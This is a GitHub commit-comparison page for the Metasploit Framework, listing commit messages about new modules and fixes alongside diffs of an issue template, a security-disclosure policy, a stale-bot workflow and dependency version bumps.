Compare commits

...

169 Commits

Author SHA1 Message Date
Metasploit 0fcc94f08e automatic module_metadata_base.json update 2020-09-10 12:01:47 -05:00
Grant Willcox d4cf660e61 Land #12983, Dnsadmin ServerLevelPluginDLL Feature Abuse Privilege Escalation 2020-09-10 11:49:42 -05:00
gwillcox-r7 593945ee61 Update module documentation with more detail r.e affected versions and the fact that the use of UNC paths could cause an issue if they are not typed in correctly. Also update the module documentation to use the output from recent tests to reflect recent changes. Shortern the module description and update its stability rating. Finally add in a reliability rating for the exploit module. 2020-09-10 11:32:45 -05:00
gwillcox-r7 16b27ae270 Add in version checking to ensure we only check if the target has the 'Enable insecure guest logons' enabled if their build number is greater than or equal to 10.0.16299.0, which was the build where this change first was implemented. 2020-09-10 11:32:45 -05:00
gwillcox-r7 45480373a9 Fix up the exploit module so that it will not wait for AV if a UNC path is used, as there is no chance the AV on the host can remove the file on the UNC share, and the UNC share won't be accessed until the exact moment it is needed 2020-09-10 11:32:45 -05:00
gwillcox-r7 7e1560ff26 Update documentation with the installation instructions I mentioned in the GitHub comments. Also RuboCop the exploit module code. 2020-09-10 11:32:18 -05:00
gwillcox-r7 0d493bbc54 Add in extra code to handle cases where the loops may enter a infinte loop state. New code should prevent this from happening 2020-09-10 11:32:18 -05:00
gwillcox-r7 a94d36248b Add in the AVTIMEOUT option to allow the module to check if any AV or other processes deleted the uploaded DLL file, thereby preventing a situation where the DNS server is unable to restart. Also add in some warning's r.e when we enter the danger section and when we exit it so that users at more aware of when this is happening. 2020-09-10 11:32:18 -05:00
gwillcox-r7 d0fe87fbf6 Update documentation with some updated info about potentially bad situations the module could run into, and also include some new documentation on the new option we have added in to try to prevent this from happening 2020-09-10 11:32:18 -05:00
gwillcox-r7 78dc43efa5 Fix up incorrect regex within the check method to fix a logic bug 2020-09-10 11:32:18 -05:00
ide0x90 c4d463e921 Added option to generate standalone DLL. 2020-09-10 11:32:18 -05:00
ide0x90 53f3b70b33 Changed DLL so that it doesn't block the DNS service from stopping after the module executes.
Added OS check (>= Server 2003 is vulnerable so far).
Now cleans up dropped DLL and modified registry value.
2020-09-10 11:32:18 -05:00
ide0x90 7701ea1bc8 Compile DLL so that the DNS service doesn't crash when the module is run. 2020-09-10 11:32:18 -05:00
ide0x90 151fdb7ea5 Reduced exploit ranking and added check to see if session is elevated. 2020-09-10 11:32:18 -05:00
ide0x90 d1e9039af4 Initial module and documentation for Microsoft Windows DNS ServerLevelPluginDll abuse 2020-09-10 11:31:51 -05:00
Metasploit bfdbb909fd automatic module_metadata_base.json update 2020-09-10 11:04:53 -05:00
Grant Willcox bc49826766 Land #14099, Fix user path in enum_powershell_env for new versions of Windows 2020-09-10 10:53:15 -05:00
Metasploit fe6bfad8fb automatic module_metadata_base.json update 2020-09-10 10:00:24 -05:00
Adam Cammack cc8321e8c8 Land #14096, Fix payload cache size generation 2020-09-10 09:47:52 -05:00
Adam Galway 6a011fe1ee Land #14112, stale bot operations now 25 per run 2020-09-10 14:26:52 +01:00
dwelch-r7 d63a79b35f Increase operations per run 2020-09-09 16:35:31 +01:00
Spencer McIntyre f2e3480469 Just give travis the sizes it's expecting 2020-09-09 08:49:01 -04:00
Metasploit 9a5f393e0b automatic module_metadata_base.json update 2020-09-08 13:14:38 -05:00
gwillcox-r7 488977bec7 Land #13836, Add Modbus banner grabbing module 2020-09-08 13:03:44 -05:00
gwillcox-r7 0270a09d10 Add in further fixes to address issues discovered during manual code review, and then apply RuboCop fixes 2020-09-08 12:29:39 -05:00
gwillcox-r7 ea8cf7b71e Fix up one of the documentation lines to reflect the fact that we can get the version number in the major.minor version format. Also fix up the Options section to remove the default option and replace it with a line that I think should be more appropriate 2020-09-08 12:29:38 -05:00
Juan Escobar 710ac48d26 Remove the UNIT_ID option from the registers_option section and from the documentation, and update the module with a link to the Modbus protocol specification. 2020-09-08 12:28:14 -05:00
gwillcox-r7 c6d98a537b Add in various fixes for review comments, including description improvements, validation of the UNIT_ID value, and fixes to the return values of some functions. Also update the documentation to address issues from first round of the review. 2020-09-08 12:27:47 -05:00
itsecurityco 182797fcbb Update documentation to fix spelling mistakes and grammar issues 2020-09-08 12:27:35 -05:00
itsecurityco bec08f5f3e more appropiate message when num_object is null 2020-09-08 12:27:35 -05:00
Juan 5f75479bb0 bold title 2020-09-08 12:27:35 -05:00
Juan 04e09267cf Refactor the module's code and fix several typos
Co-authored-by: bcoles <bcoles@gmail.com>
2020-09-08 12:27:00 -05:00
itsecurityco a2a69f58a7 Improve documentation 2020-09-08 12:26:33 -05:00
itsecurityco 288a35f701 patch bug when unit id is invalid 2020-09-08 12:26:33 -05:00
itsecurityco a0f91d93ad Upload initial copy of the module and its documentation 2020-09-08 12:26:06 -05:00
Adam Galway 6a1d26aa80 Land #14106, search hightlights multiple matches 2020-09-08 14:37:08 +01:00
Alan Foster 437f11bf56 Updates search command to always show additional usage details 2020-09-08 13:30:56 +01:00
adfoster-r7 b0696343a4 Land #14090, Add example of info 3 to the search results 2020-09-08 13:23:41 +01:00
Adam Galway 645562a7de Land #14104, excludes more labels from stale bot 2020-09-08 12:52:38 +01:00
dwelch-r7 5769519d2d Exclude more labels from stale bot 2020-09-08 12:08:36 +01:00
Metasploit 190d5c3843 automatic module_metadata_base.json update 2020-09-07 09:55:54 -05:00
adfoster-r7 be5cd6e26c Land #14089, update smb_version module to use select instead of filter for backwards compatibility 2020-09-07 15:45:04 +01:00
adfoster-r7 97f523b1b1 Land #14056, activate stale bot 2020-09-07 15:08:52 +01:00
dwelch-r7 234ef7cd6d Reduce operations per run 2020-09-07 14:07:54 +01:00
James Lee a870b1df71 Fix user path on newer Windows 2020-09-05 10:43:41 -05:00
Metasploit ce17c434ae automatic module_metadata_base.json update 2020-09-04 16:04:03 -05:00
bwatters e592736833 Land #13992, Add module for CVE-2020-9839, LPE for macOS <= 10.15.4
Merge branch 'land-13992' into upstream-master
2020-09-04 15:53:17 -05:00
bwatters 5e2a3a6f65 Recompiled binary exploit file to match source 2020-09-04 15:46:52 -05:00
Spencer McIntyre 1b77d01f23 Fix a payload cache size generation issue and bump the gem 2020-09-04 15:43:55 -04:00
adfoster-r7 749423da02 Land #14091, update issue template with the debug command 2020-09-04 14:30:31 +01:00
Adam Galway 2c1b6eddfc Updates bug report to include debug instructions 2020-09-04 14:28:01 +01:00
Metasploit d69f344b30 automatic module_metadata_base.json update 2020-09-04 05:00:44 -05:00
cgranleese-r7 2e19c9ec83 Add example of info 3 to the search results 2020-09-04 10:53:04 +01:00
Adam Galway 242656bc07 Land #13978, proxy support for Python Meterpreter 2020-09-04 10:50:41 +01:00
Tim W 7b1f5c1728 add documentation 2020-09-04 17:42:30 +08:00
Erik Geiser efaeb1b80e Use select in smb_version scanner for ruby <= 2.5
Use Array.select! instead of Array.filter! (which is an alias for the
former) in the smb_version scanner module to be compatible with ruby
versions <= 2.5.
2020-09-04 10:54:20 +02:00
Metasploit d8447e9708 Bump version of framework to 6.0.5 2020-09-03 12:04:46 -05:00
Metasploit 0e6f6cdbbe automatic module_metadata_base.json update 2020-09-02 17:27:20 -05:00
bwatters 8fb8b00539 Land #14075, Add support for ZIP file generation in zip_slip exploit
Merge branch 'land-14075' into upstream-master
2020-09-02 17:15:27 -05:00
bwatters 149566b30e Run rubocop 2020-09-02 17:14:30 -05:00
Metasploit 8c215c758e automatic module_metadata_base.json update 2020-09-02 15:32:19 -05:00
gwillcox-r7 20e4b3e71f Land #14083, Update enum_patches.rb to include the patch installation date 2020-09-02 15:21:14 -05:00
gwillcox-r7 f10871a776 Update documentation for the enum_patches.rb module to reflect recent changes to its code and output 2020-09-02 15:20:36 -05:00
Metasploit d15e27fc9e automatic module_metadata_base.json update 2020-09-02 14:53:43 -05:00
gwillcox-r7 161083e6e4 Land #14084, Add writeup URL reference to peplink_bauth_sqli 2020-09-02 14:44:15 -05:00
gwillcox-r7 632a3bd0da Land #14081, Move SECURITY.md from root folder to the .github folder 2020-09-02 14:36:59 -05:00
Tod Beardsley 3e582ecd67 Move just SECURITY.md to .github 2020-09-02 14:31:11 -05:00
Arjun G b2bd40ef03 Updated module description
Changed string description to call out the modified WMI query that now also pulls in the InstalledOn metadata for a given KB.
2020-09-02 11:33:50 -07:00
Niboucha Redouane 6d1a905206 Add url reference to a writeup on implementing the module 2020-09-02 20:19:03 +02:00
Arjun G ca846fa8c1 Changing print statements to follow Ruby style
In response to PR feedback
2020-09-02 10:59:15 -07:00
Metasploit 534bd1fcd2 automatic module_metadata_base.json update 2020-09-02 12:32:47 -05:00
Spencer McIntyre c2d49384c0 Land #13980, Reflective PE Payloads Added 2020-09-02 13:22:30 -04:00
Spencer McIntyre 67df4ea672 Adjust verbiage and whitespace, remove a buggy asm instruction 2020-09-02 13:20:50 -04:00
ggkitsas 62d3d9bc9a fix: reverts misuse of in zip_slip exploit 2020-09-01 21:49:55 +01:00
Metasploit e01d9e701b automatic module_metadata_base.json update 2020-09-01 09:54:09 -05:00
Adam Galway 3690bafeb6 Land #14050, fixes db_import bug with zip files 2020-09-01 15:41:17 +01:00
bwatters b135367730 Land #14068, Update smb_enum_gpp to use RubySMB
Merge branch 'land-14068' into upstream-master
2020-09-01 09:33:15 -05:00
Spencer McIntyre e54d6857ea Land #13919, [GSoC] Ev2 - Easier actions interaction system for modules implemented 2020-09-01 09:23:06 -04:00
Spencer McIntyre c8a8e1ccd4 Land #14062, Add a SECURITY.md file 2020-09-01 08:44:12 -04:00
María Belén Tualombo Chimbo 9eca457358 avoid using the datastore and use kwarg 2020-09-01 04:30:14 -04:00
Tim W c23cb63c6e exploit binary 2020-09-01 14:10:34 +08:00
Arjun G fb4acd53b5 Include KB installation date in enum_patches
Currently, the output of this module only lists the KB packages installed on a Windows PC. 

This change improves the module by also having it output when a given patch package was installed (this information can also be retrieved from the WMI query); this will provide insight into how regularly and reliably a PC (and by extension, environment) patches - for example, are they late in installing patches by months, when did they last patch etc.
2020-08-31 17:38:02 -07:00
Spencer McIntyre 27a2ef6945 Land #14072, Python3 / bash checks and improvements when using 'shell' 2020-08-31 17:35:32 -04:00
Reelix 296a0654da Update lib/msf/core/payload/python.rb
- Implemented bug fix and naming improvement as suggested by @smcintyre-r7

Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2020-08-31 22:52:27 +02:00
Reelix d46f0cec48 Update python.rb
- Added py_create_exec_stub required for https://github.com/rapid7/metasploit-framework/pull/14072
2020-08-31 21:22:46 +02:00
Reelix f5a85890fd Update command_shell.rb
- Implement changes suggested by @smcintyre-r7
2020-08-31 21:16:33 +02:00
Ege Balcı 84b229d393 Major changes on x64 PE loader and several improvments 2020-08-31 21:35:59 +03:00
Tod Beardsley cd69e2a1d9 Fix SECURITY.md for less clever GH Issues and link 2020-08-31 13:25:56 -05:00
gwillcox-r7 e7ad8d93df Land #14065, Switch to lazily loading the faker module 2020-08-31 12:06:11 -05:00
Metasploit 12d1ec8769 automatic module_metadata_base.json update 2020-08-31 10:07:19 -05:00
Spencer McIntyre 3a87dfac8a Land #14066, report CheckCode for check failure 2020-08-31 10:57:01 -04:00
Jeffrey Martin ddb6782d8d convert from fail_with to detailed CheckCode 2020-08-31 09:46:16 -05:00
Spencer McIntyre e5e1ce7816 Land #14064, fixed module html references for info -d command 2020-08-31 10:45:18 -04:00
ggkitsas 788244150c Add support for zip generation in zip_slip exploit 2020-08-31 13:18:14 +01:00
Reelix b9db589105 Update command_shell.rb
- Converted a missed tab to spaces
2020-08-30 09:48:19 +02:00
Reelix b61a5e5f75 Update command_shell.rb
- Fixed spacing (Tabs VS Spaces)
2020-08-30 09:45:38 +02:00
Reelix e2a008eade Update command_shell.rb
- Improved path detection
- Check for bash with python / python3 and use it if it exists
- Minor grammatical improvements
2020-08-30 09:22:25 +02:00
María Belén Tualombo Chimbo 30bebdba26 some minor changes 2020-08-29 17:38:19 -04:00
María Belén Tualombo Chimbo db4de72be8 lowercase added to help output for action commands 2020-08-29 14:00:15 -04:00
María Belén Tualombo Chimbo 769b4ab5dc help output for action commands updated 2020-08-29 05:51:53 -04:00
Spencer McIntyre 58a56a2b24 Support an explicit backend for the SMB simple client 2020-08-28 17:28:07 -04:00
Spencer McIntyre d58cb9f9c8 Add documentation for the smb_enum_gpp module 2020-08-28 16:34:29 -04:00
Spencer McIntyre 9acafb7797 Update the smb_enum_gpp module to work with RubySMB 2020-08-28 16:20:42 -04:00
Jeffrey Martin 983434aff6 fix a missing argument for fail_with 2020-08-28 10:55:09 -05:00
dwelch-r7 c92bc38a86 switch to lazy loading faker 2020-08-28 14:56:11 +01:00
adfoster-r7 760aba0ace Land #14061, ensure framework options are passed through from msfvenom
Reduce msfvenom run time by only loading relevant modules
2020-08-28 12:44:52 +01:00
adfoster-r7 763448c971 Land #14053, Add the ability to use numerics with the info command 2020-08-28 11:07:34 +01:00
cgranleese-r7 d6b9165c7c fixed module html references for info -d command 2020-08-28 10:59:22 +01:00
Metasploit f14f70d3e6 automatic module_metadata_base.json update 2020-08-28 04:32:34 -05:00
cgranleese-r7 e094a55ff2 Add the ability to use numerics with info command 2020-08-28 10:28:07 +01:00
adfoster-r7 62d45870dc Land #14040, Use CheckModule auxiliary/scanner/misc/java_rmi_server in exploit/multi/misc/java_rmi_server 2020-08-28 10:22:35 +01:00
Ege Balcı 4bd8690370 Several bug fixes on x64 PE loader and PE mapper 2020-08-28 01:08:29 +03:00
Metasploit a61db036d7 automatic module_metadata_base.json update 2020-08-27 16:59:46 -05:00
Jeffrey Martin 1d2443ce1e Land #13847, [GSoC] Add SQLite injection support 2020-08-27 16:40:11 -05:00
Niboucha Redouane 8d64cb9b6b Rename the common utilities from utils to common 2020-08-27 22:54:42 +02:00
todb-r7 ca590c7aff Add a SECURITY.md file
Git has this cool sheild button on the ribbon on every project now that
indicates the vulnerability reporting policy for that project. We should
totally populate this so people don't accidnetally dox our bugs on
Issues.
2020-08-27 15:12:53 -05:00
adfoster-r7 177f720f80 Land #14021, when searching modules for multiple text terms, the search will now require for all words to be matched 2020-08-27 20:02:55 +01:00
Niboucha Redouane d66bb4058e Fix documentation, remove unused instance variable in SQLite TimeBasedBlind class (sleepdelay) 2020-08-27 19:08:27 +02:00
Metasploit 935340ab2a Bump version of framework to 6.0.4 2020-08-27 12:05:38 -05:00
adfoster-r7 de0826f353 Merge pull request #2, Pass args through to search for cmd_use 2020-08-27 17:47:20 +01:00
dwelch-r7 4ace8e39c1 Pass args through to search for cmd_use 2020-08-27 17:39:43 +01:00
María Belén Tualombo Chimbo bbb032b83d minor fix 2020-08-27 11:42:12 -04:00
María Belén Tualombo Chimbo ddfc554026 Some improvements suggested for code optimization 2020-08-27 11:29:25 -04:00
Niboucha Redouane d54046fc1b Make peplink_bauth_sqli a gather module, and gather as much useful data as possible 2020-08-27 16:28:39 +02:00
Niboucha Redouane 3e73f5efe4 get_cookies insead of accessing the Set-Cookie header
as the #get_cookies method is getting fixed to support case-insensitive cookie presence checking

Co-authored-by: Jeffrey Martin <jeffrey_martin@rapid7.com>
2020-08-27 16:28:39 +02:00
Niboucha Redouane 24b5f8a332 Refactor peplink_bauth_sqli to support check 2020-08-27 16:28:39 +02:00
Niboucha Redouane 7a89542b28 add error messages when no sessions found, and run msftidy_docs 2020-08-27 16:28:39 +02:00
Niboucha Redouane 348c955253 Add documentation for peplink_bauth_sqli 2020-08-27 16:28:39 +02:00
Niboucha Redouane b9b242391f Fix peplink_bauth_sqli module authors 2020-08-27 16:28:38 +02:00
Niboucha Redouane a681f7ac46 Add more options to the peplink SQLi module 2020-08-27 16:28:38 +02:00
Niboucha Redouane 6cd9fa81d6 Add first version of peplink SQLi module (DBMS used being SQLite3) 2020-08-27 16:28:38 +02:00
Niboucha Redouane 4e302dc42b Move get_bitmask to the SQLi::Utils module 2020-08-27 16:28:38 +02:00
Niboucha Redouane 95ce79b418 Add more options to the test module 2020-08-27 16:28:38 +02:00
Niboucha Redouane 2bb2b73dc2 Refactor to avoid repetitive code on Blind SQLi implementations 2020-08-27 16:28:38 +02:00
Niboucha Redouane 080e25ee6a Various fixes and enhacements to the comments, and addition of write_to_file method 2020-08-27 16:28:38 +02:00
Niboucha Redouane e0c59ede5c Comment the SQLite methods 2020-08-27 16:28:38 +02:00
Niboucha Redouane 1c69dfd5df Add safe mode for SQLi, and support limiting the number of rows to be returned 2020-08-27 16:28:38 +02:00
Niboucha Redouane a42ae5280b Update SQLite support to work with the new factory redesign 2020-08-27 16:28:38 +02:00
Niboucha Redouane 4374edd37a add truncated SQLi in SQLite, and update test module to add it as an option 2020-08-27 16:28:38 +02:00
Niboucha Redouane 8f9a849591 fix test module, and fix logging 2020-08-27 16:28:38 +02:00
Niboucha Redouane 477f7313a2 Avoid repertitive code in blind injections 2020-08-27 16:28:38 +02:00
Niboucha Redouane 26e5fc99de add SQLite injection library, and test module (against sqlite_lab) 2020-08-27 16:28:38 +02:00
dwelch-r7 98eaef20b3 Reduce msfvenom run time by only loading relevant modules
Work was already done, just need the args passed in
2020-08-27 15:25:33 +01:00
Tim W c069d940a9 fix restoring of /etc/pam.d/login 2020-08-27 19:04:43 +08:00
dwelch-r7 bea6259560 Set exempt labels 2020-08-26 22:09:16 +01:00
William Vu c45c01f888 Rescue connection errors and return a CheckCode
Oops, the Scanner mixin was silently catching them.
2020-08-26 12:34:03 -05:00
Ege Balcı 66292a5f28 DLL preamble fixed & exitfunk is now optional 2020-08-26 19:45:44 +03:00
Ege Balcı 071eb14e4e Update lib/msf/core/payload/windows/x64/reflective_pe_loader.rb
Co-authored-by: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com>
2020-08-26 19:04:17 +03:00
Matthew Hagan 97eb04a1e3 Fixing zip import errors
in particular:
•passed workspace as an object instead of calling `.name`
*loot and task processing now consumes `wspace` parameter
*fixed typo in `.delete` method
2020-08-25 17:45:30 -05:00
Ege Balcı 9745385346 More PE validation methods added 2020-08-26 00:13:30 +03:00
William Vu f08349982d Use CheckModule scanner in java_rmi_server exploit 2020-08-24 10:11:03 -05:00
Ege Balcı 138c951052 New PE loader mechanics, PE characteristics detection and several bug fixes 2020-08-20 20:35:32 +03:00
Alan Foster 43ecb41575 Use and semantics when searching for text 2020-08-19 15:08:55 +01:00
Tim W eabc59e5ed fix disown 2020-08-19 00:04:14 +08:00
Tim W dce83ad859 cleanup properly 2020-08-18 17:42:56 +08:00
Tim W 53b2db78a0 getroot -> make writable 2020-08-18 16:18:38 +08:00
Tim W e65e7e21f2 fix newlines and cleanup 2020-08-18 15:56:05 +08:00
Tim W 6fad6f8e8d fix check method 2020-08-18 15:56:05 +08:00
Tim W 0e4fcd7379 CVE-2020-9839 2020-08-18 15:56:01 +08:00
Ege Balcı b95c708eec Merge pull request #2 from smcintyre-r7/pr/13980/fixes
Validate the PE file early on to raise errors
2020-08-13 09:09:37 +03:00
Spencer McIntyre cc21e5e50d Validate the PE file early on to raise errors 2020-08-12 17:32:12 -04:00
Ege Balcı 01c1a65f85 Merge pull request #1 from smcintyre-r7/pr/13980/fixes
Fix the Metasm architecture issue
2020-08-12 19:12:25 +03:00
Spencer McIntyre e65fa7eb26 Fix the Metasm architecture issue 2020-08-12 10:43:51 -04:00
Ege Balcı 65643ff40c Reflective PE Payloads Added 2020-08-12 14:38:56 +03:00
Spencer McIntyre 7ffbecefa6 The HttpProxyType option is not support for Python so deregister it 2020-08-10 14:52:18 -04:00
Spencer McIntyre 48e0610bae Add authentication support to the Python Meterpreter 2020-08-10 13:24:55 -04:00
María Belén Tualombo Chimbo b2640d40ee downcase improvement for actions tab completion 2020-07-31 13:59:14 -04:00
María Belén Tualombo Chimbo 9d09e7c2b7 pull request changes requestested for the automatic action commands system 2020-07-30 11:41:34 -04:00
María Belén Tualombo Chimbo b710cfae95 [GSoC] Ev2 - Easier actions interaction system for modules implemented 2020-07-29 11:46:30 -04:00
67 changed files with 5283 additions and 497 deletions
+9 -15
View File
@@ -37,24 +37,18 @@ What should happen?
What happens instead?
You might also want to check the last ~1k lines of
`/opt/metasploit/apps/pro/engine/config/logs/framework.log` or
`~/.msf4/logs/framework.log` for relevant stack traces
## System stuff
### Metasploit version
Get this with the `version` command in msfconsole (or `git log -1 --pretty=oneline` for a source install).
### I installed Metasploit with:
- [ ] Kali package via apt
- [ ] Omnibus installer (nightly)
- [ ] Commercial/Community installer (from http://www.rapid7.com/products/metasploit/download.jsp)
- [ ] Source install (please specify ruby version)
## Additional Information
If your version is less than `5.0.96`, please update to the latest version and ensure your issue is still present.
### OS
What OS are you running Metasploit on?
If the issue is encountered within `msfconsole`, please run the `debug` command using the instructions below. If the issue is encountered outisde `msfconsole`, or the issue causes `msfconsole` to crash on startup, please delete this section.
1. Start `msfconsole`
2. Run the command `set loglevel 3`
3. Take the steps necessary recreate your issue
4. Run the `debug` command
5. Copy all the output below the `===8<=== CUT AND PASTE EVERYTHING BELOW THIS LINE ===8<===` line and make sure to **REMOVE ANY SENSITIVE INFORMATION.**
6. Replace these instructions and the paragraph above with the output from step 5.
+35
View File
@@ -0,0 +1,35 @@
# Reporting security issues
Thanks for your interest in making Metasploit more secure! If you feel
that you have found a security issue involving Metasploit, Meterpreter,
Recog, or any other Rapid7 open source project, you are welcome to let
us know in the way that's most comfortable for you.
## Via ZenDesk
You can click on the big blue button at [Rapid7's Vulnerability
Disclosure][r7-vulns] page, which will get you to our general
vulnerability reporting system. While this does require a (free) ZenDesk
account to use, you'll get regular updates on your issue as our software
support teams work through it. As it happens [that page][r7-vulns] also
will tell you what to expect when it comes to reporting vulns, how fast
we'll fix and respond, and all the rest, so it's a pretty good read
regardless.
## Via email
If you're more of a traditionalist, you can email your finding to
security@rapid7.com. If you like, you can use our [PGP key][pgp] to
encrypt your messages, but we certainly don't mind cleartext reports
over email.
## NOT via GitHub Issues
Please don't! Disclosing security vulnerabilities to public bug trackers
is kind of mean, even when it's well-intentioned, since you end up
dropping 0-day on pretty much everyone right out of the gate. We'd prefer
you didn't!
[r7-vulns]:https://www.rapid7.com/security/disclosure/
[pgp]:https://keybase.io/rapid7/pgp_keys.asc?fingerprint=9a90aea0576cbcafa39c502ba5e16807959d3eda
+4 -4
View File
@@ -1,6 +1,6 @@
on:
schedule:
- cron: "0 16 * * *"
- cron: "0 15 * * *"
name: Stale Bot workflow
jobs:
build:
@@ -14,7 +14,7 @@ jobs:
repo-token: ${{ secrets.GITHUB_TOKEN }}
days-before-stale: 30
days-before-close: 30
operations-per-run: 10
operations-per-run: 25
stale-issue-message: |
Hi!
@@ -32,5 +32,5 @@ jobs:
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
exempt-issue-labels: |
not stale
debug-only: true
not-stale,confirmed,easy,newbie-friendly,suggestion,suggestion-module,suggestion-feature,suggestion-docs
debug-only: false
+18 -18
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (6.0.3)
metasploit-framework (6.0.5)
actionpack (~> 5.2.2)
activerecord (~> 5.2.2)
activesupport (~> 5.2.2)
@@ -29,7 +29,7 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 2.0.10)
metasploit-payloads (= 2.0.12)
metasploit_data_models
metasploit_payloads-mettle (= 1.0.2)
mqtt
@@ -121,28 +121,28 @@ GEM
activerecord (>= 3.1.0, < 7)
ast (2.4.1)
aws-eventstream (1.1.0)
aws-partitions (1.358.0)
aws-sdk-core (3.104.4)
aws-partitions (1.364.0)
aws-sdk-core (3.105.0)
aws-eventstream (~> 1, >= 1.0.2)
aws-partitions (~> 1, >= 1.239.0)
aws-sigv4 (~> 1.1)
jmespath (~> 1.0)
aws-sdk-ec2 (1.188.0)
aws-sdk-ec2 (1.193.0)
aws-sdk-core (~> 3, >= 3.99.0)
aws-sigv4 (~> 1.1)
aws-sdk-iam (1.43.0)
aws-sdk-iam (1.44.0)
aws-sdk-core (~> 3, >= 3.99.0)
aws-sigv4 (~> 1.1)
aws-sdk-kms (1.36.0)
aws-sdk-kms (1.37.0)
aws-sdk-core (~> 3, >= 3.99.0)
aws-sigv4 (~> 1.1)
aws-sdk-s3 (1.78.0)
aws-sdk-s3 (1.79.1)
aws-sdk-core (~> 3, >= 3.104.3)
aws-sdk-kms (~> 1)
aws-sigv4 (~> 1.1)
aws-sigv4 (1.2.2)
aws-eventstream (~> 1, >= 1.0.2)
bcrypt (3.1.15)
bcrypt (3.1.16)
bcrypt_pbkdf (1.0.1)
bindata (2.4.8)
bit-struct (0.16)
@@ -159,7 +159,7 @@ GEM
simpleidn (~> 0.1)
docile (1.3.2)
ed25519 (1.2.4)
em-http-request (1.1.6)
em-http-request (1.1.7)
addressable (>= 2.3.4)
cookiejar (!= 0.3.1)
em-socksify (>= 0.3)
@@ -196,7 +196,7 @@ GEM
jsobfu (0.4.2)
rkelly-remix
json (2.3.1)
loofah (2.6.0)
loofah (2.7.0)
crass (~> 1.0.2)
nokogiri (>= 1.5.9)
memory_profiler (0.9.14)
@@ -219,7 +219,7 @@ GEM
activemodel (~> 5.2.2)
activesupport (~> 5.2.2)
railties (~> 5.2.2)
metasploit-payloads (2.0.10)
metasploit-payloads (2.0.12)
metasploit_data_models (4.0.2)
activerecord (~> 5.2.2)
activesupport (~> 5.2.2)
@@ -232,7 +232,7 @@ GEM
metasploit_payloads-mettle (1.0.2)
method_source (1.0.0)
mini_portile2 (2.4.0)
minitest (5.14.1)
minitest (5.14.2)
mqtt (0.5.0)
msgpack (1.3.3)
multipart-post (2.1.1)
@@ -271,7 +271,7 @@ GEM
pry-byebug (3.9.0)
byebug (~> 11.0)
pry (~> 0.13.0)
public_suffix (4.0.5)
public_suffix (4.0.6)
rack (2.2.3)
rack-protection (2.0.8.1)
rack
@@ -369,7 +369,7 @@ GEM
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.9.3)
rubocop (0.89.1)
rubocop (0.90.0)
parallel (~> 1.10)
parser (>= 2.7.1.1)
rainbow (>= 2.2.2, < 4.0)
@@ -385,7 +385,7 @@ GEM
ruby-progressbar (1.10.1)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.2)
ruby_smb (2.0.3)
ruby_smb (2.0.4)
bindata
openssl-ccm
openssl-cmac
@@ -427,8 +427,8 @@ GEM
unf_ext
unf_ext (0.0.7.7)
unicode-display_width (1.7.0)
warden (1.2.8)
rack (>= 2.0.6)
warden (1.2.9)
rack (>= 2.0.9)
websocket-driver (0.7.3)
websocket-extensions (>= 0.1.0)
websocket-extensions (0.1.5)
+14 -14
View File
@@ -11,12 +11,12 @@ arel, 9.0.0, MIT
arel-helpers, 2.11.0, MIT
ast, 2.4.1, MIT
aws-eventstream, 1.1.0, "Apache 2.0"
aws-partitions, 1.358.0, "Apache 2.0"
aws-sdk-core, 3.104.4, "Apache 2.0"
aws-sdk-ec2, 1.188.0, "Apache 2.0"
aws-sdk-iam, 1.43.0, "Apache 2.0"
aws-sdk-kms, 1.36.0, "Apache 2.0"
aws-sdk-s3, 1.78.0, "Apache 2.0"
aws-partitions, 1.364.0, "Apache 2.0"
aws-sdk-core, 3.105.0, "Apache 2.0"
aws-sdk-ec2, 1.193.0, "Apache 2.0"
aws-sdk-iam, 1.44.0, "Apache 2.0"
aws-sdk-kms, 1.37.0, "Apache 2.0"
aws-sdk-s3, 1.79.1, "Apache 2.0"
aws-sigv4, 1.2.2, "Apache 2.0"
bcrypt, 3.1.15, MIT
bcrypt_pbkdf, 1.0.1, MIT
@@ -35,7 +35,7 @@ diff-lcs, 1.4.4, "MIT, Artistic-2.0, GPL-2.0+"
dnsruby, 1.61.4, "Apache 2.0"
docile, 1.3.2, MIT
ed25519, 1.2.4, MIT
em-http-request, 1.1.6, MIT
em-http-request, 1.1.7, MIT
em-socksify, 0.3.2, MIT
erubi, 1.9.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
@@ -55,19 +55,19 @@ irb, 1.2.4, "Simplified BSD"
jmespath, 1.4.0, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.3.1, ruby
loofah, 2.6.0, MIT
loofah, 2.7.0, MIT
memory_profiler, 0.9.14, MIT
metasm, 1.0.4, LGPL-2.1
metasploit-concern, 3.0.0, "New BSD"
metasploit-credential, 4.0.2, "New BSD"
metasploit-framework, 6.0.3, "New BSD"
metasploit-framework, 6.0.5, "New BSD"
metasploit-model, 3.0.0, "New BSD"
metasploit-payloads, 2.0.10, "3-clause (or ""modified"") BSD"
metasploit_data_models, 4.0.2, "New BSD"
metasploit_payloads-mettle, 1.0.2, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
mini_portile2, 2.4.0, MIT
minitest, 5.14.1, MIT
minitest, 5.14.2, MIT
mqtt, 0.5.0, MIT
msgpack, 1.3.3, "Apache 2.0"
multipart-post, 2.1.1, MIT
@@ -91,7 +91,7 @@ pdf-reader, 2.4.0, MIT
pg, 1.2.3, "Simplified BSD"
pry, 0.13.1, MIT
pry-byebug, 3.9.0, MIT
public_suffix, 4.0.5, MIT
public_suffix, 4.0.6, MIT
rack, 2.2.3, MIT
rack-protection, 2.0.8.1, MIT
rack-test, 1.1.0, MIT
@@ -132,14 +132,14 @@ rspec-mocks, 3.9.1, MIT
rspec-rails, 4.0.1, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.9.3, MIT
rubocop, 0.89.1, MIT
rubocop, 0.90.0, MIT
rubocop-ast, 0.3.0, MIT
ruby-macho, 2.2.0, MIT
ruby-prof, 1.4.1, "Simplified BSD"
ruby-progressbar, 1.10.1, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.2, ruby
ruby_smb, 2.0.3, "New BSD"
ruby_smb, 2.0.4, "New BSD"
rubyntlm, 0.6.2, MIT
